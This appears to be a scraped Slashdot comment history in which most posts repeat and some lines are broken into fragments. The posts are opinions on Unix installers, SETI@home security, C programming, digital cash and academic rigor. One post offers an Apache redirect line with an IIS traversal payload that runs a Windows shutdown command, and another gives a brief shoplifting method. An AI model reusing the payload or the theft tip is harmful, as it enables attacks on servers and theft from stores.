Some very good points and ideas, but also IMHO some misguided assumptions and directions.
1) RAM & Disk space is not always cheap, or even readily available. There are many legacy systems where users would benefit from these advantages but the users are unable or unwilling to upgrade the system. What happens to old 486 and 586 systems where the motherboard doesn't support drives larger than X - there are work arounds, but the people who need easier install processes aren't going to tackle the complex system configuration issues to implement these. What happens when you can no longer obtain RAM in your community for your old machine, or it no longer has spare slots, etc. What happens if you have a second hand computer and simply don't have the available $$ to spend on upgrades, no matter how cheap they are. I don't like the idea of designing an easier-to-use system that excludes such people, no matter how small a portion of the market they may be. Hence redundant copies of libraries and staticly linked libraries are a very inelegant solution for these people.
2) We musn't impose requirements on application developers to use a given installer library, or code their apps to conform with particular standards that the installer requires - it is again unfeasible and undesireable in many circumstances. Developers have more than enough to worry about as it is without having to reimplement the way their app behaves to be installer friendly. The installer must exist at a level independant of the way the application has been coded, to a reasonable degree. I think that much of the problem that exists currently is that too much of the "packager" issues of making apps compatible to a hundred and one different unices has been getting dumped on developers and this both reduces their time for actual development and means that we have a hodge-podge of apps that are compatible to an unpredictable degree, because essentially developers don't want to be burdened with this.
3) Diversity is the spice of life, and it is the spice of unix. The community of unices is robust because it has adapted systems which are generally stable and reliable across a vast array of hardware and software. We want to capitalize on this tradition and expand and enhance it, not force anyone to use a particular layout for their apps & installations. This being said, I find the idea of local copies of libraries in the application directory unappealing, because it forces one to have a local directory ( rather than using/usr/bin,/usr/lib, etc. ) Also the idea of having configuration files that resolve dependancies forces the application to use such configurations, which is also undesireable.
5) Aside from all these criticisms, there are many things I do agree with. Particularly that dependencies should be file specific, not package specific, that an integration of installer & linker is key to the organization of such a tool. I also agree that the installer should make use of auto-generated scripts wherever possible, and should provide detailed, useful messages to the end user that will help them to either resolve the conflicts in as friendly a way as possible, or to report the conflicts to their distribution. Also the installer should have advanced modes that allow for applications to be installed in accordance with a user or administrator prefered file system. That is one shouldn't be forced to install into/opt or into/usr/bin or/usr/local if you don't want it there.
Given all this, is there any possible way to solve all of this in one consistent system? I think so - but it may require something that many will immediately wretch over. A registry. That's write, I used the foul windoze word registry. I propose a per-file database for libraries & applications that would record where given versions of given libraries are installed, under what names, in what directories, of what versions, providing what
is anything avantgarde really art?
on
HTML: Is it Art?
·
· Score: 1
Seems to me like these two have just found a clever way of turning a vast quantity of ineptitude with programming into a marketable talent. "Its not random garbage - its art, if you don't see that then its your own fault for not thinking about it in the right way." This is the slogan of much of the "avant garde" for the last half century or more. My question is how is anything that works on that premise really art and not just a scam for the gullible? "This special snake oil will aleviate headaches, bring rain to your crops and cure gout, promise. If it fails, then you obviously weren't using it correctly." Really, anybody with a half hour to go over an online manual on html and javascript can create pages full of random crap - the artisitic skill is in getting paid for it and filling galleries with it. Perhaps we've just left the "scam" out of their title of "artists".
well you can't prevent the spoofing of data, but you can prevent one user from impersonating another. SETI@home already issues the same data unit to several clients so that they can compare the results & weed out corrupted results or results that have been spoofed. If you allow for this kind of redundant processing as well as making it nigh impossible for one user to impersonate another, then you can be reasonably sure that none of the results have been tampered with.
Well it's their decision, not mine. However despite the facts that people have already turned in fake results & tried to screw with their servers, I think a pretty convincing case can be made that this could be much exacerbated by open sourcing the client.
However, using a system of certificates & digital signatures, it should be very difficult to spoof a data result. Such a client could legitimately be open sourced. In the end, who knows - its their project, their problem, and their decision.
I'm not saying that real men don't need a bounds check. What I'm saying is that a smart programmer will make appropriate use of a bounds check, or design objects / structures that handle this appropriately.
In real life, people cannot be expected to be extra careful day in and day out, this is absolutely true. Because of this, they need reminders, and one very good reminder is when you get lots of errors and warnings during compilation & testing. If you become habituated to a programming environment which warns & gives errors often, you will develop better habits because you are used to seeing these everyday. Programming environments which are more flexible and allow sloppy code to go without warnings means that more code will be allowed to be in use before the problems that exist come to the attention of the coder.
Essentially I'm saying that the sooner it breaks, the sooner it will be fixed. If it can go for weeks without breaking, then it is unlikely to be fixed, and this allows more security vulnerabilities to go on into production code, not less.
I agree that intelligent systems which look for potential buffer overflows and report them to the coder are a good thing, and I fully advocate using such in development & testing, but languages and environments which hide the internals beneath a veneer of smooth operation are not a good substitute for knowing what you're doing.
Heh - you could have the signal act as "the voice of God" and tell the aliens all kinds of rubbish. That would be a laugh - until they come and kill you with religious fervour.
There is nothing wrong with languages such as C, you just have to be aware of what you're doing. Good, safe, secure and efficient code is generated by educated programmers who are aware of what they're doing. You can't replace that with any computer generated stuff. Perhaps you'll be able to patch one security hole with something like this, but others will go unnoticed. The only solution is to make sure that coders are aware of what they're doing. IMHO languages that do more for you automatically create a sense of false security in that you assume that you can let the compiler / interpreter worry about what you should be thinking about yourself. It acts as a crutch for good programming habits, and so actually encourages sloppy programming. I think this is the opposite of what is needed for secure code.
This is in the SETI@home FAQ ( http://setiathome.berkeley.edu/faq.html#q1.9 ), it reads:
Why don't you release the source code?
We decided not to make source code available for security reasons and for science reasons as well. We have to have everyone do the exact same analysis, or we can't have any control over our research and be confident in our results. We were also worried that there may be a few people that want to deliberately try to screw up our database and server.
I wonder how you'd manage such a DoS? I suppose you could set up hundreds of transmitters around uninhabitted star-systems that spew meaningless signals. If the alien race was running a program comparable to our SETI, they would start detecting these "false positives". The signals would look like they were meaningful, patterned signal coming from inhabitted worlds, when in fact they are meaningless rubbish ( produced say from some pseudo-random function ). This would tie up a large amount of the computing & scientific resources of the alien world trying to decode these mysterious signals. Perhaps if you created enough of these false ones you could cloud out the alien civilisations abilities to search for legitimate signals, hence effectively DoS'ing their entire world in this regard.
It's an interesting possibility, particularly if you happened to be a reclusively civilisation that is afraid that it might be found and visited by ( potentially warlike ) alien races. You could "hide in the noise" so to speak of hundreds of such false-positives. If you were lucky, you might convince the aliens to just give up looking about in your area of the galaxy.
Of course it's not exactly a very "friendly" thing to do, and you might just incur the wrath of aliens who would otherwise have been of a much nicer disposition.
Another strategy that I've thought would be effective if you wanted to actually attract the attention of distant worlds, would be to set up a legitimate transmitter somewhere in the vicinity of a pulsar. Pulsars are natural beacons in space, they transmit a regular radio pulse out to the universe, and act somewhat like a lighthouse in space. Such strong natural beacons would likely be of interest to any civilisation studying the cosmos, and so setting up a transmitter nearby to one ( not so close as to be overshadowed by the pulsar, but say in a starsystem nearby ) could be a perfect strategy for having yourself found.
According to Google Zeitgeist only about 4% of surfers is mac. If it were true that mac had an installed base of 11% than more than one in 10 computers would be a mac, and I can tell you that ain't so.
What? Sales assistants have nothing better to do than keep track of everything you're trying on? Nobody has eyes in the back of their head, and sometimes they are too busy to watch everyone.
You just go into the dressing room with 3 things, cut the tag off with scissors, then walk out with 2 items, and leave the store unnoticed with the third.
We better all be quiet from now on, the mouth & vocal chords are certainly a device and system for conducting a discussion about an item. Sheesh, talk about prior art.
Sure, this hypothetical computer can perform 330 trillion operations per second, once the solutions are mixed. However, before that is done, the correct solutions must be mixed, with exactly the correct balance of the proper enzymes, and the exact DNA sequence of the input string must be synthesized. Once the operations are completed, the finished DNA sequence must be read and interpreted before the results of the computation can be said to mean anything. Ultimately then, the speed of this kind of processing is bounded by the speed at which one can mix and synthesize the appropriate chemical soups, and read DNA. Therefore the speed will be something more like that of a fast ink-jet printer working on a complex full page colour image.
Also, as the Nat'l Geo. article says, one of the best applications for this technique would be in calculating "fuzzy" problems where you would like to compute many possible solutions and then find the correct one. While it is true that this might speed up the actual calculation of the individual results, there would still be the issue of searching through all the results for the optimal or desired answer, which is no trivial task if you have just a heap of several tens of millions of unsorted inputs. Ultimately, as they allude to, this might become a kind of fancy "co-processor" for certain types of problems in high-end computing, but I have trouble seeing this as a realistic solution for the desktop.
The trouble here is that the security of the cash itself is only as good as the security around the data encryption. As soon as someone ( and someone will do it ) cracks this encryption, that gives them the ability to create unlimited currency that is indistinguishable from the real thing - it _IS_ the real thing in effect.
Also as others have pointed out, the possibilities of destroying ( your own or someone else's ) money by demagnetizing the card is all too simple. If the currency is properly encrypted, than the corruption of a single bit on the card could invalidate all the currency on it, and since you can't track the movement of it the way that you can credit card payments or cheques - it can't be "cancelled" and replaced.
The opportunities for abuse seems to me much higher than with ordinary cash, and this could be very dangerous for the ways we manage our economies. Most countries have a central bank which issues and manages the country's currency, but if this new type of currency invalidates that power to issue currency, than that could also invalidate to a large extent the power of this central bank to stabilize the economy through the use of monetary policy.
All in all this seems to have few advantages over a system like debit, and a whole lot of downsides.
Yes, I'd thought of this too - the down side is that in order to have an even "balance of accounts" so to speak, and make sure that everyone is contributing as much disk space as they are getting out of it, is that you'd have to provide X times more disk space than you plan on using. If you have 10 megs to back up, and that needs to be redundantly copied over 100 machines, even given efficient ways of recovering data & compression, you may need to contribute some hundred megs.
Not that this is a fatal flaw, everyone who is serious about this would simply buy a second redundant backup drive. But it does seem like you sacrifice an awful lot of space for the security of a reliable distributed backup.
DIBS is a great idea, but it seems to me that a simpler solution would be to just to cook up some shell / perl scripts that use gpg and rsync.
However, if DIBS could immitate a network version of something like the RAID striping so that you could recover entire files from various portions stored on multiple hosts, and thereby increase the probability of getting all of your files back whenever you wanted them regardless of who happens to be online / accessible at the time - that would be cool! Although it seems to me that such a situation would require several times more disk space on the part of other computers, in order to store redundant copies, than the files require themselves - maybe such a system would require that you "donate" to the network 3 times more disk space than you want to use.
If you read my post I did draw the distinction between "humanities" and "social sciences". Philosophy is a humanities, whereas economics is a social science. I guess I didn't think this needed to be spelled out.
I am not demeaning anything. Like I said, I think that humanities requires as much "brain-power" if you want to call it that as sciences. But there is less rigor, there are different standards of truth and quality which have necessarily evolved from the different nature of the fields. If you read my post, you will see that I never said liberal arts is BS, nor was I ever demeaning to those studies - you're putting words in my mouth.
I'm currently an undergraduate in a cognitive science & artificial intelligence program. My program is split into nearly even thirds of humanities ( mostly philosophy & linguistics ), social sciences ( psychology ) and hard(er) sciences ( maths & comp. sci ). I've noticed a very distinct gradient in both the workload & rigor across the courses in the different fields.
I don't like to say that sciences are harder or more difficult, because I don't think that's a fair comparison. One must be just as intelligent and competent in a pure humanities, especially considering that most of what you spend your time grappling with is much less precisely defined, so there is vast room for ambiguity and confusion. However there is a very different standard of rigor in terms of what is considered "quality" material. In math its fairly obvious, you either have the correct method and the correct answer or you don't, its black and white. In philosophy, there are many more gradients of "truth" especially when truth itself is not well defined. Its more about the way in which you argue than what you argue. ?More about style than content?
Also the workload is much different. In higher years of humanities essentially all you do is read papers and write papers. One need not even pay attention to the majority of it, just understanding the key ideas is often sufficient. It is, perhaps, easier to "coast". Anyone who's attempted to "coast" through a 3rd year math or sciences course ( unless they're already an old hand at the given material ) will fall on their face within the first month.
I have a lot of friends going into grad school in humanities, and I think they are all very intelligent, well-read people with a good deal of insight into their respective field, but I think that the difference in rigor of the fields is definitely a strong force.
Ultimately this shapes the grading distribution. If it is so much easier to be wrong in one field, you must expect that the grades will be lower than one where the ultimate "truth" in a discourse is open to interpretation and personal opinion.
Slashdot Mirror
Some very good points and ideas, but also IMHO some misguided assumptions and directions.
/usr/bin, /usr/lib, etc. ) Also the idea of having configuration files that resolve dependancies forces the application to use such configurations, which is also undesireable.
/opt or into /usr/bin or /usr/local if you don't want it there.
1) RAM & Disk space is not always cheap, or even readily available. There are many legacy systems where users would benefit from these advantages but the users are unable or unwilling to upgrade the system. What happens to old 486 and 586 systems where the motherboard doesn't support drives larger than X - there are work arounds, but the people who need easier install processes aren't going to tackle the complex system configuration issues to implement these. What happens when you can no longer obtain RAM in your community for your old machine, or it no longer has spare slots, etc. What happens if you have a second hand computer and simply don't have the available $$ to spend on upgrades, no matter how cheap they are. I don't like the idea of designing an easier-to-use system that excludes such people, no matter how small a portion of the market they may be. Hence redundant copies of libraries and staticly linked libraries are a very inelegant solution for these people.
2) We musn't impose requirements on application developers to use a given installer library, or code their apps to conform with particular standards that the installer requires - it is again unfeasible and undesireable in many circumstances. Developers have more than enough to worry about as it is without having to reimplement the way their app behaves to be installer friendly. The installer must exist at a level independant of the way the application has been coded, to a reasonable degree. I think that much of the problem that exists currently is that too much of the "packager" issues of making apps compatible to a hundred and one different unices has been getting dumped on developers and this both reduces their time for actual development and means that we have a hodge-podge of apps that are compatible to an unpredictable degree, because essentially developers don't want to be burdened with this.
3) Diversity is the spice of life, and it is the spice of unix. The community of unices is robust because it has adapted systems which are generally stable and reliable across a vast array of hardware and software. We want to capitalize on this tradition and expand and enhance it, not force anyone to use a particular layout for their apps & installations. This being said, I find the idea of local copies of libraries in the application directory unappealing, because it forces one to have a local directory ( rather than using
5) Aside from all these criticisms, there are many things I do agree with. Particularly that dependencies should be file specific, not package specific, that an integration of installer & linker is key to the organization of such a tool. I also agree that the installer should make use of auto-generated scripts wherever possible, and should provide detailed, useful messages to the end user that will help them to either resolve the conflicts in as friendly a way as possible, or to report the conflicts to their distribution. Also the installer should have advanced modes that allow for applications to be installed in accordance with a user or administrator prefered file system. That is one shouldn't be forced to install into
Given all this, is there any possible way to solve all of this in one consistent system? I think so - but it may require something that many will immediately wretch over. A registry. That's write, I used the foul windoze word registry. I propose a per-file database for libraries & applications that would record where given versions of given libraries are installed, under what names, in what directories, of what versions, providing what
Seems to me like these two have just found a clever way of turning a vast quantity of ineptitude with programming into a marketable talent. "Its not random garbage - its art, if you don't see that then its your own fault for not thinking about it in the right way." This is the slogan of much of the "avant garde" for the last half century or more. My question is how is anything that works on that premise really art and not just a scam for the gullible? "This special snake oil will aleviate headaches, bring rain to your crops and cure gout, promise. If it fails, then you obviously weren't using it correctly." Really, anybody with a half hour to go over an online manual on html and javascript can create pages full of random crap - the artisitic skill is in getting paid for it and filling galleries with it. Perhaps we've just left the "scam" out of their title of "artists".
But didn't the general population vote for Gore?
well you can't prevent the spoofing of data, but you can prevent one user from impersonating another. SETI@home already issues the same data unit to several clients so that they can compare the results & weed out corrupted results or results that have been spoofed. If you allow for this kind of redundant processing as well as making it nigh impossible for one user to impersonate another, then you can be reasonably sure that none of the results have been tampered with.
Well it's their decision, not mine. However despite the facts that people have already turned in fake results & tried to screw with their servers, I think a pretty convincing case can be made that this could be much exacerbated by open sourcing the client.
However, using a system of certificates & digital signatures, it should be very difficult to spoof a data result. Such a client could legitimately be open sourced. In the end, who knows - its their project, their problem, and their decision.
I'm not saying that real men don't need a bounds check. What I'm saying is that a smart programmer will make appropriate use of a bounds check, or design objects / structures that handle this appropriately.
In real life, people cannot be expected to be extra careful day in and day out, this is absolutely true. Because of this, they need reminders, and one very good reminder is when you get lots of errors and warnings during compilation & testing. If you become habituated to a programming environment which warns & gives errors often, you will develop better habits because you are used to seeing these everyday. Programming environments which are more flexible and allow sloppy code to go without warnings means that more code will be allowed to be in use before the problems that exist come to the attention of the coder.
Essentially I'm saying that the sooner it breaks, the sooner it will be fixed. If it can go for weeks without breaking, then it is unlikely to be fixed, and this allows more security vulnerabilities to go on into production code, not less.
I agree that intelligent systems which look for potential buffer overflows and report them to the coder are a good thing, and I fully advocate using such in development & testing, but languages and environments which hide the internals beneath a veneer of smooth operation are not a good substitute for knowing what you're doing.
Heh - you could have the signal act as "the voice of God" and tell the aliens all kinds of rubbish. That would be a laugh - until they come and kill you with religious fervour.
There is nothing wrong with languages such as C, you just have to be aware of what you're doing. Good, safe, secure and efficient code is generated by educated programmers who are aware of what they're doing. You can't replace that with any computer generated stuff. Perhaps you'll be able to patch one security hole with something like this, but others will go unnoticed. The only solution is to make sure that coders are aware of what they're doing. IMHO languages that do more for you automatically create a sense of false security in that you assume that you can let the compiler / interpreter worry about what you should be thinking about yourself. It acts as a crutch for good programming habits, and so actually encourages sloppy programming. I think this is the opposite of what is needed for secure code.
This is in the SETI@home FAQ ( http://setiathome.berkeley.edu/faq.html#q1.9 ), it reads:
Why don't you release the source code?
We decided not to make source code available for security reasons and for science reasons as well. We have to have everyone do the exact same analysis, or we can't have any control over our research and be confident in our results. We were also worried that there may be a few people that want to deliberately try to screw up our database and server.
I wonder how you'd manage such a DoS?
I suppose you could set up hundreds of transmitters around uninhabitted star-systems that spew meaningless signals. If the alien race was running a program comparable to our SETI, they would start detecting these "false positives". The signals would look like they were meaningful, patterned signal coming from inhabitted worlds, when in fact they are meaningless rubbish ( produced say from some pseudo-random function ). This would tie up a large amount of the computing & scientific resources of the alien world trying to decode these mysterious signals. Perhaps if you created enough of these false ones you could cloud out the alien civilisations abilities to search for legitimate signals, hence effectively DoS'ing their entire world in this regard.
It's an interesting possibility, particularly if you happened to be a reclusively civilisation that is afraid that it might be found and visited by ( potentially warlike ) alien races. You could "hide in the noise" so to speak of hundreds of such false-positives. If you were lucky, you might convince the aliens to just give up looking about in your area of the galaxy.
Of course it's not exactly a very "friendly" thing to do, and you might just incur the wrath of aliens who would otherwise have been of a much nicer disposition.
Another strategy that I've thought would be effective if you wanted to actually attract the attention of distant worlds, would be to set up a legitimate transmitter somewhere in the vicinity of a pulsar. Pulsars are natural beacons in space, they transmit a regular radio pulse out to the universe, and act somewhat like a lighthouse in space. Such strong natural beacons would likely be of interest to any civilisation studying the cosmos, and so setting up a transmitter nearby to one ( not so close as to be overshadowed by the pulsar, but say in a starsystem nearby ) could be a perfect strategy for having yourself found.
So this is why these reporters are always being attacked whenever they go to make a report by phone.
well that might be true of you. but why should we think that this is enough of a general trend to think that it skews statistics?
According to Google Zeitgeist only about 4% of surfers is mac. If it were true that mac had an installed base of 11% than more than one in 10 computers would be a mac, and I can tell you that ain't so.
What? Sales assistants have nothing better to do than keep track of everything you're trying on? Nobody has eyes in the back of their head, and sometimes they are too busy to watch everyone.
You just go into the dressing room with 3 things, cut the tag off with scissors, then walk out with 2 items, and leave the store unnoticed with the third.
We better all be quiet from now on, the mouth & vocal chords are certainly a device and system for conducting a discussion about an item. Sheesh, talk about prior art.
Also, as the Nat'l Geo. article says, one of the best applications for this technique would be in calculating "fuzzy" problems where you would like to compute many possible solutions and then find the correct one. While it is true that this might speed up the actual calculation of the individual results, there would still be the issue of searching through all the results for the optimal or desired answer, which is no trivial task if you have just a heap of several tens of millions of unsorted inputs. Ultimately, as they allude to, this might become a kind of fancy "co-processor" for certain types of problems in high-end computing, but I have trouble seeing this as a realistic solution for the desktop.
The trouble here is that the security of the cash itself is only as good as the security around the data encryption. As soon as someone ( and someone will do it ) cracks this encryption, that gives them the ability to create unlimited currency that is indistinguishable from the real thing - it _IS_ the real thing in effect.
Also as others have pointed out, the possibilities of destroying ( your own or someone else's ) money by demagnetizing the card is all too simple. If the currency is properly encrypted, than the corruption of a single bit on the card could invalidate all the currency on it, and since you can't track the movement of it the way that you can credit card payments or cheques - it can't be "cancelled" and replaced.
The opportunities for abuse seems to me much higher than with ordinary cash, and this could be very dangerous for the ways we manage our economies. Most countries have a central bank which issues and manages the country's currency, but if this new type of currency invalidates that power to issue currency, than that could also invalidate to a large extent the power of this central bank to stabilize the economy through the use of monetary policy.
All in all this seems to have few advantages over a system like debit, and a whole lot of downsides.
How's about this one:
n nt/syste m32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWind owsEx%201
RedirectMatch permanent (.*)c+dir http://www.microsoft.com/scripts/..%255c..%255cwi
"Sorry Mr. Jenkins, we didn't mean to fire our homemade railgun through your window, and your wal, and your car..."
Yes, I'd thought of this too - the down side is that in order to have an even "balance of accounts" so to speak, and make sure that everyone is contributing as much disk space as they are getting out of it, is that you'd have to provide X times more disk space than you plan on using. If you have 10 megs to back up, and that needs to be redundantly copied over 100 machines, even given efficient ways of recovering data & compression, you may need to contribute some hundred megs.
Not that this is a fatal flaw, everyone who is serious about this would simply buy a second redundant backup drive. But it does seem like you sacrifice an awful lot of space for the security of a reliable distributed backup.
There is a solution to this - it is called rsync
DIBS is a great idea, but it seems to me that a simpler solution would be to just to cook up some shell / perl scripts that use gpg and rsync.
However, if DIBS could immitate a network version of something like the RAID striping so that you could recover entire files from various portions stored on multiple hosts, and thereby increase the probability of getting all of your files back whenever you wanted them regardless of who happens to be online / accessible at the time - that would be cool! Although it seems to me that such a situation would require several times more disk space on the part of other computers, in order to store redundant copies, than the files require themselves - maybe such a system would require that you "donate" to the network 3 times more disk space than you want to use.
If you read my post I did draw the distinction between "humanities" and "social sciences". Philosophy is a humanities, whereas economics is a social science. I guess I didn't think this needed to be spelled out.
I am not demeaning anything. Like I said, I think that humanities requires as much "brain-power" if you want to call it that as sciences. But there is less rigor, there are different standards of truth and quality which have necessarily evolved from the different nature of the fields. If you read my post, you will see that I never said liberal arts is BS, nor was I ever demeaning to those studies - you're putting words in my mouth.
I'm currently an undergraduate in a cognitive science & artificial intelligence program. My program is split into nearly even thirds of humanities ( mostly philosophy & linguistics ), social sciences ( psychology ) and hard(er) sciences ( maths & comp. sci ). I've noticed a very distinct gradient in both the workload & rigor across the courses in the different fields.
I don't like to say that sciences are harder or more difficult, because I don't think that's a fair comparison. One must be just as intelligent and competent in a pure humanities, especially considering that most of what you spend your time grappling with is much less precisely defined, so there is vast room for ambiguity and confusion. However there is a very different standard of rigor in terms of what is considered "quality" material. In math its fairly obvious, you either have the correct method and the correct answer or you don't, its black and white. In philosophy, there are many more gradients of "truth" especially when truth itself is not well defined. Its more about the way in which you argue than what you argue. ?More about style than content?
Also the workload is much different. In higher years of humanities essentially all you do is read papers and write papers. One need not even pay attention to the majority of it, just understanding the key ideas is often sufficient. It is, perhaps, easier to "coast". Anyone who's attempted to "coast" through a 3rd year math or sciences course ( unless they're already an old hand at the given material ) will fall on their face within the first month.
I have a lot of friends going into grad school in humanities, and I think they are all very intelligent, well-read people with a good deal of insight into their respective field, but I think that the difference in rigor of the fields is definitely a strong force.
Ultimately this shapes the grading distribution. If it is so much easier to be wrong in one field, you must expect that the grades will be lower than one where the ultimate "truth" in a discourse is open to interpretation and personal opinion.